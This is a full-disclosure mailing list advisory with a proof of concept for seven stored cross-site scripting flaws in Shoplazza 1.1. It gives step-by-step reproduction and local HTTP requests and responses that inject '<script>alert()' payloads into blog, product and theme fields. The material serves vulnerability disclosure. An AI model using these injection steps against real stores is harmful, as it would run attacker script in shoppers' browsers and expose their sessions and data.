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List: full-disclosure
Subject: [FD] Vulnerabilities Disclosure - Shoplazza Stored XSS
From: Andrey Stoykov <astoykov () gmx ! com>
Date: 2022-12-12 18:24:33
Message-ID: trinity-b4acecca-8bd7-42b6-abee-108868ddb700-1670869472991 () 3c-app-mailcom-bs14
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[Attachment #2 (text/html)]
<html><head></head><body><div style="font-family: Verdana;font-size: 12.0px;"><div>Hi</div>
<div> </div>
<div>Disclosing vulnerabilities attached in email.</div>
<div> </div>
<div>Blog Shoplazza contains multiple Stored Cross Site Scripting flaws. Attacker can dupe \
user into visiting blog and potentially execute payload in users browser. Resulting in data \
loss and stealing sensitive information. </div>
<div> </div>
<div> </div>
<div>Regards</div></div></body></html>
["proof-of-concept-shoplazza.txt" (text/plain)]
# Exploit Title: Shoplazza 1.1 - Stored Cross Site Scripting
# Exploit Author: Andrey Stoykov
# Software Link: https://github.com/Shoplazza/LifeStyle
# Version: 1.1
# Tested on: Ubuntu 20.04
Stored XSS #1:
To reproduce do the following:
1. Login as normal user account
2. Browse "Blog Posts" -> "Manage Blogs" -> "Add Blog Post"
3. Select "Title" and enter payload "><script>alert(1)</script>
// HTTP POST request showing XSS payload
PATCH /admin/api/admin/articles/2dc688b1-ac9e-46d7-8e56-57ded1d45bf5 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
[...]
{"article":{"id":"2dc688b1-ac9e-46d7-8e56-57ded1d45bf5","title":"Title\"><script>alert(1)</scrip \
t>","excerpt":"Excerpt\"><script>alert(2)</script>","content":"<p>\"><script>alert(3)</script></p>"[...]
// HTTP response showing unsanitized XSS payload
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
[...]
{"article":{"title":"Title\"><script>alert(1)</script>","excerpt":"Excerpt\"><script>alert(2)</script>","published":true,"seo_title":"Title\"><script>alert(1)</script>"[...]
// HTTP GET request to trigger XSS payload
GET /blog/titlescriptalert1script?st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NzAzMzE5Mz \
YsInN0b3JlX2lkIjo1MTA0NTksInVzZXJfaWQiOiI4NGY4Nzk4ZC03ZGQ1LTRlZGMtYjk3Yy02MWUwODk5ZjM2MDgifQ.9ybPJCtv6Lzf1BlDy-ipoGpXajtl75QdUKEnfj9L49I \
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
[...]
// HTTP response showing unsanitized XSS payload
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
[...]
<meta name="viewport" \
content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no,viewport-fit=cover">
<title>Title"><script>alert(1)</script></title>
<meta name="keywords" content="test1205">
[...]
Stored XSS #2:
To reproduce do the following:
1. Login as normal user account
2. Browse "Products" -> "Create Product"
3. Select "Subtitle" and enter payload "><script>alert(1)</script>
// HTTP POST request showing XSS payload
POST /admin/api/admin/v2_products HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
[...]
{"product":{"id":"","title":"Title","brief":"Subtitle\"><script>alert(1)</script>","description":"<p>Description</p>"[...]
// HTTP response showing unsanitized XSS payload
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
[...]
{"product":{"brief":"Subtitle\"\u003e\u003cscript\u003ealert(1)\u003c/script\u003e","category_id":"","collections
[...]
Stored XSS #3:
To reproduce do the following:
1. Login as normal user account
2. Browse "Online Store" -> "Themes" -> "Customize" -> "Announcement"
3. Select "Text" section and enter payload "><script>alert(1)</script>
4. Select "Mobile Text" section and enter payload "><script>alert(1)</script>
// HTTP POST request showing XSS payload
PATCH /admin/api/theme-edit/442430617951435468/temp-template-datas/061cf44d-f20e-42f4-9cde-54a74f240fef/sections/announcement \
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
// HTTP response showing unsanitized XSS payload
{"section":{"type":"announcement","settings":{"enable_view_all":true},"blocks":[{"type":"announc \
ement","settings":{"text":"Announcement\"><script>alert('Announcement')</script>","mobile_text":"Mobile \
Text\"><script>alert('Mobile \
Text')</script>\n","countdown_time":1,"link":null,"link_text":"Shop \
now"}},{"type":"announcement","settings":{"text":"Welcome to our store","mobile_text":"Welcome \
to our store","countdown_time":1,"link":null,"link_text":"Shop [...]
Stored XSS #4:
1. Login as normal user account
2. Browse "Online Store" -> "Themes" -> "Customize" -> "Product"
3. Select "Subheading" and enter payload "><script>alert(1)</script>
3. Select "Heading" and enter payload "><script>alert(1)</script>
4. Select "Text" and enter payload "><script>alert(1)</script>
5. Select "Button Text" and enter payload "><script>alert(1)</script>
6. Select "Label" and enter payload "><script>alert(1)</script>
// HTTP POST request showing XSS payload
PATCH /admin/api/theme-edit/442439399796402892/temp-template-datas/2f973e0e-6711-4e5f-8f55-8f34b4bdbd31/sections/1664528667835 \
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
[...]
{"section":{"name":"feature_product","cname":{"en-US":"Feature \
Product","zh-CN":""},"category":{"en-US":"Promotion","zh-CN":""},"ccategory":{"en-US":"Promotion \
","zh-CN":""},"display":true,"blocks":[{"type":"Product","settings":{"auto_display":true,"subhea \
ding":"Products\"><script>alert('Product')</script>","heading":"Product_Subheading\"><script>ale \
rt('Product_Subheading')</script>","text":"Product_Text\"><script>alert('Product_Text')</script> \
","btn_text":"Button_Text\"><script>alert('Button_Text')</script>","label_text":"Label_Text\"><script>alert('Label_Text')</script>",
[...]
// HTTP response showing unsanitized XSS payload
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
[...]
{"section":{"name":"feature_product","cname":{"en-US":"Feature \
Product","zh-CN":""},"category":{"en-US":"Promotion","zh-CN":""},"ccategory":{"en-US":"Promotion \
","zh-CN":""},"display":true,"blocks":[{"type":"Product","settings":{"auto_display":true,"subhea \
ding":"Products\"><script>alert('Product')</script>","heading":"Product_Subheading\"><script>ale \
rt('Product_Subheading')</script>","text":"Product_Text\"><script>alert('Product_Text')</script> \
","btn_text":"Button_Text\"><script>alert('Button_Text')</script>","label_text":"Label_Text\"><script>alert('Label_Text')</script>"
[...]
Stored XSS #5:
1. Login as normal user account
2. Browse "Online Store" -> "Themes" -> "Customize" -> "Product Carousel"
3. Select "Heading" and enter payload "><script>alert(1)</script>
4. Select "Description" and enter payload "><script>alert(1)</script>
// HTTP POST request showing XSS payload
PATCH /admin/api/theme-edit/442439399796402892/temp-template-datas/2f973e0e-6711-4e5f-8f55-8f34b4bdbd31/sections/1664529790755 \
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
[...]
{"section":{"name":"product_carousel","cname":{"en-US":"Products \
carousel","zh-CN":""},"category":{"en-US":"Product","zh-CN":""},"category":{"en-US":"Product","z \
h-CN":""},"icon":"oss/operation/cbff8870e3db05817270bcb0e8c52870.svg","display":true,"settings":{"heading":" \
Products Carousel\"><script>alert('Product \
Carousel')</script>","auto_display":true,"collection":null,"desc":"Product \
Description\"><script>alert('Product Description')</script> [...]
// HTTP response showing unsanitized XSS payload
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
[...]
{"heading":" Products Carousel\"><script>alert('Product \
Carousel')</script>","auto_display":true,"collection":null,"desc":"Product \
Description\"><script>alert('Product Description')</script>"[...]\">Product \
Description\"><script>alert('Product Description')</script> [...]
Stored XSS #6:
1. Login as normal user account
2. Browse "Online Store" -> "Themes" -> "Customize" -> "Text with Icons" -> "Free Shipping"
3. Select "Heading" and enter payload "><script>alert(1)</script>
4. Select "Text" and enter payload "><script>alert(1)</script>
5. Browse "Online Store" -> "Themes" -> "Customize" -> -> "Text with Icons" -> "Free Shipping" \
Worldwide Shipping" 6. Select "Heading" and enter payload "><script>alert(1)</script>
7. Select "Text" and enter payload "><script>alert(1)</script>
8. Browse "Online Store" -> "Themes" -> "Customize" -> -> "Text with Icons" -> "Member \
Discount" 9. Select "Heading" and enter payload "><script>alert(1)</script>
10. Select "Text" and enter payload "><script>alert(1)</script>
11. Browse "Online Store" -> "Themes" -> "Customize" -> -> "Text with Icons" -> "Icon"
12. Select "Heading" and enter payload "><script>alert(1)</script>
13. Select "Text" and enter payload "><script>alert(1)</script>
// HTTP POST request showing XSS payload
PATCH /admin/api/theme-edit/442443380824229324/temp-template-datas/2f973e0e-6711-4e5f-8f55-8f34b4bdbd31/sections/1664529794334 \
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
[...]
{"section":{"name":"icon_text","cname":{"zh-CN":"","en-US":"Text with \
icons"},"category":{"en-US":"Image with text","zh-CN":""},"ccategory":{"en-US":"Image with \
text","zh-CN":""},"icon":"oss/operation/b3117ddd140480a503655c157b1af934.svg","display":true,"blocks":[{"type":"icon","settings":{"icon":"free_shipping","heading":"Free \
shipping\"><script>alert('Free_Shipping')</script>","text":"Free worldwide \
shipping\"><script>alert('Free world wide \
shipping')</script>","link":""}},{"type":"icon","settings":{"icon":"customer_service","heading":"Free \
worldwide shipping\"><script>alert('Free worldwide \
shipping')</script>","text":"Text\"><script>alert('Text')</script>","link":""}},{"type":"icon","settings":{"icon":"secure_payment","heading":" \
Member Discount\"><script>alert('Member Discount')</script>","text":"Our payment in formation \
is processed securely\"><script>alert('Our payment in formation is processed \
securely')</script>","link":""}},{"type":"icon","settings":{"icon":"contact_us","heading":" \
Contact us\"><script>alert('Contact us')</script>","text":"Short content about your \
store\"><script>alert('Short content about your store')</script>" [...]
// HTTP response showing unsanitized XSS payload
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
[...]
{"section":{"name":"icon_text","cname":{"zh-CN":"","en-US":"Text with \
icons"},"category":{"en-US":"Image with text","zh-CN":""},"ccategory":{"en-US":"Image with \
text","zh-CN":""},"icon":"oss/operation/b3117ddd140480a503655c157b1af934.svg","display":true,"blocks":[{"type":"icon","settings":{"icon":"free_shipping","heading":"Free \
shipping\"><script>alert('Free_Shipping')</script>","text":"Free worldwide \
shipping\"><script>alert('Free world wide \
shipping')</script>","link":""}},{"type":"icon","settings":{"icon":"customer_service","heading":"Free \
worldwide shipping\"><script>alert('Free worldwide \
shipping')</script>","text":"Text\"><script>alert('Text')</script>","link":""}},{"type":"icon","settings":{"icon":"secure_payment","heading":" \
Member Discount\"><script>alert('Member Discount')</script>","text":"Our payment in formation \
is processed securely\"><script>alert('Our payment in formation is processed \
securely')</script>","link":""}},{"type":"icon","settings":{"icon":"contact_us","heading":" \
Contact us\"><script>alert('Contact us')</script>"[...]"><script>alert('Member \
Discount')</script>","text":"Our payment in formation is processed \
securely\"><script>alert('Our payment in formation is processed \
securely')</script>","link":""}},{"type":"icon","settings":{"icon":"contact_us","heading":" \
Contact us\"><script>alert('Contact us')</script>","text":"Short content about your \
store\"><script>alert('Short content about your store')</script> [...]
Stored XSS #7:
1. Login as normal user account
2. Browse "Online Store" -> "Themes" -> "Customize" -> "Review Flow"
3. Select "Title" and enter payload "><script>alert(1)</script>
// HTTP POST request showing XSS payload
PATCH /admin/api/theme-edit/442443380824229324/temp-template-datas/2f973e0e-6711-4e5f-8f55-8f34b4bdbd31/sections/1670588315547 \
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
[...]
{"section":{"name":{"en-US":"Review \
Flow","zh-CN":""},"type":"shoplazza://apps/internal-product-reviews-masonry/blocks/review/485979 \
47633379239","settings":{"star_least":"5","with_photo":true,"show_product":true,"title":"Customer \
Review\"><script>alert('Customer Reviews')</script> [...]
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
[...]
{"section":{"name":{"en-US":"Review \
Flow","zh-CN":""},"type":"shoplazza://apps/internal-product-reviews-masonry/blocks/review/485979 \
47633379239","settings":{"star_least":"5","with_photo":true,"show_product":true,"title":"Customer \
Review\"><script>alert('Customer Reviews')</script>" [...]
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